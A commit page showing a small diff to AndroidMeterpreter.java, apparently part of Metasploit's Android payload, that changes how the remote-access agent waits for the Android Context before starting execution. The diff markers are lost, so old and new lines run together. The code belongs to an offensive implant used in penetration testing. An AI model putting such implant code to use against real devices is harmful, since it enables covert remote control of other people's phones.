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Code Releases Activity

wait for the context object

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This commit is contained in:
Tim 2015-05-18 06:53:30 +01:00
parent 5fce838afc
commit a66ec09285
1 changed files with 13 additions and 19 deletions
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32
java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
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@ -42,21 +42,23 @@ import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
import java.io.DataInputStream;
import java.io.File;
import java.io.OutputStream;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class AndroidMeterpreter extends Meterpreter {
private static final Object contextWaiter = new Object();
private static String writeableDir;
private static Context context;
private static Thread executionThread;
private void findContext() throws Exception {
final Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
final Method currentApplication = activityThreadClass.getMethod("currentApplication");
context = (Context) currentApplication.invoke(null, (Object[]) null);
if (context == null) {
Handler handler = new Handler(Looper.getMainLooper());
// Post to the UI/Main thread and try and retrieve the Context
final Handler handler = new Handler(Looper.getMainLooper());
handler.post(new Runnable() {
@Override
public void run() {
@ -65,11 +67,14 @@ public class AndroidMeterpreter extends Meterpreter {
} catch (Exception e) {
e.printStackTrace();
}
executionThread.start();
synchronized (contextWaiter) {
contextWaiter.notify();
}
}
});
} else {
startExecuting();
synchronized (contextWaiter) {
contextWaiter.wait();
}
}
}
@ -80,24 +85,13 @@ public class AndroidMeterpreter extends Meterpreter {
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, String[] parameters, boolean redirectErrors) throws Exception {
super(in, rawOut, true, redirectErrors, false);
writeableDir = parameters[0];
executionThread = new Thread() {
@Override
public void run() {
try {
startExecuting();
} catch (Exception e) {
e.printStackTrace();
}
}
};
try {
findContext();
executionThread.join();
} catch (Exception e) {
e.printStackTrace();
startExecuting();
// No context (running as root?)
}
startExecuting();
}
@Override